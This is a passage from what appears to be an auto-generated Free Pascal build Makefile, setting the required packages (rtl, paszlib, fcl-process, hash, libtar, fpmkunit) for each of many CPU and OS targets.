($(FULL_TARGET),i386-wince)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-symbian)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-nativent)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-iphonesim)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-android)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i386-aros)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),m68k-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),m68k-netbsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),m68k-amiga)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),m68k-atari)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),m68k-palmos)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),m68k-macosclassic)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),m68k-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc-netbsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc-amiga)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc-macosclassic)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc-darwin)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc-morphos)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc-wii)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc-aix)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),sparc-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),sparc-netbsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),sparc-solaris)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),sparc-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-freebsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-haiku)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-netbsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-solaris)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-openbsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-darwin)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-win64)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-iphonesim)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-android)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-aros)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),x86_64-dragonfly)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-netbsd)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-palmos)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-wince)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-gba)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-nds)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-symbian)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-android)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-aros)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-freertos)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),arm-ios)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc64-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc64-darwin)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc64-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),powerpc64-aix)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),avr-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),armeb-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),armeb-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),mips-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),mipsel-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),mipsel-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),mipsel-android)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),mips64el-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),jvm-java)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),jvm-android)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i8086-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i8086-msdos)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),i8086-win16)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),aarch64-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),aarch64-darwin)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),aarch64-win64)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),aarch64-android)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),aarch64-ios)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),wasm-wasm)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),sparc64-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),riscv32-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),riscv32-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),riscv64-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),riscv64-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),xtensa-linux)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),xtensa-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),xtensa-freertos)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),z80-embedded)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),z80-zxspectrum)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifeq ($(FULL_TARGET),z80-msxdos)\nREQUIRE_PACKAGES_RTL=1\nREQUIRE_PACKAGES_PASZLIB=1\nREQUIRE_PACKAGES_FCL-PROCESS=1\nREQUIRE_PACKAGES_HASH=1\nREQUIRE_PACKAGES_LIBTAR=1\nREQUIRE_PACKAGES_FPMKUNIT=1\nendif\nifdef REQUIRE_PACKAGES_RTL\nPACKAGEDIR_RTL:=$(firstword $(subst /Makefile.fpc,,$(strip $(wildcard $(addsuffix /rtl/Makefile.fpc,$(PACKAGESDIR))))))\nifneq ($(PACKAGEDIR_RTL),)\nifneq ($(wildcard 